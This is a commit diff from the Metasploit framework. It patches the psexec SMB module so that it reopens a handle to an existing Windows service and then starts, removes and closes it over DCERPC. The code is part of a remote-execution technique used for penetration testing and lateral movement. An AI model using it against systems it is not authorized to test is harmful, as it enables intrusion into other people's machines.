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metasploit-framework
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Check for a valid handle 

If service already exists open a handle.
If we have a valid handle ensure we try and close it.
bug/bundler_fix
Meatballs 2014-03-19 12:44:31 +00:00
parent fcc5cfb155
commit 71818b59d1
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 52 additions and 22 deletions
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36
lib/msf/core/exploit/smb/psexec.rb
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@ -15,6 +15,9 @@ module Exploit::Remote::SMB::Psexec
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated
ERROR_SERVICE_EXISTS = 0x431
NULL_HANDLE = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Retrives output from the executed command
#
# @param smbshare [String] The SMBshare to connect to. Usually C$
@ -91,18 +94,42 @@ module Exploit::Remote::SMB::Psexec
response = dcerpc.call(0x0c, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[4,20]
svc_status = dcerpc.last_response.stub_data[24,4]
svc_status = dcerpc.last_response.stub_data[24,4].unpack('V').first
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error creating service: #{e}")
return false
end
if svc_handle == NULL_HANDLE
if svc_status == ERROR_SERVICE_EXISTS
vprint_status("#{peer} - Service already exists, opening a handle...")
begin
stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error opening service: #{e}")
return false
end
else
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
return false
end
end
if svc_handle == NULL_HANDLE
print_error("#{peer} - No service handle retrieved")
return false
else
begin
vprint_status("#{peer} - Starting the service...")
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
if dcerpc.last_response and dcerpc.last_response.stub_data
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error starting service: #{e}")
@ -112,17 +139,20 @@ module Exploit::Remote::SMB::Psexec
stubdata = svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
if dcerpc.last_response and dcerpc.last_response.stub_data
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error removing service: #{e}")
end
ensure
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error closing service handle: #{e}")
end
end
end
if disconnect
sleep(1)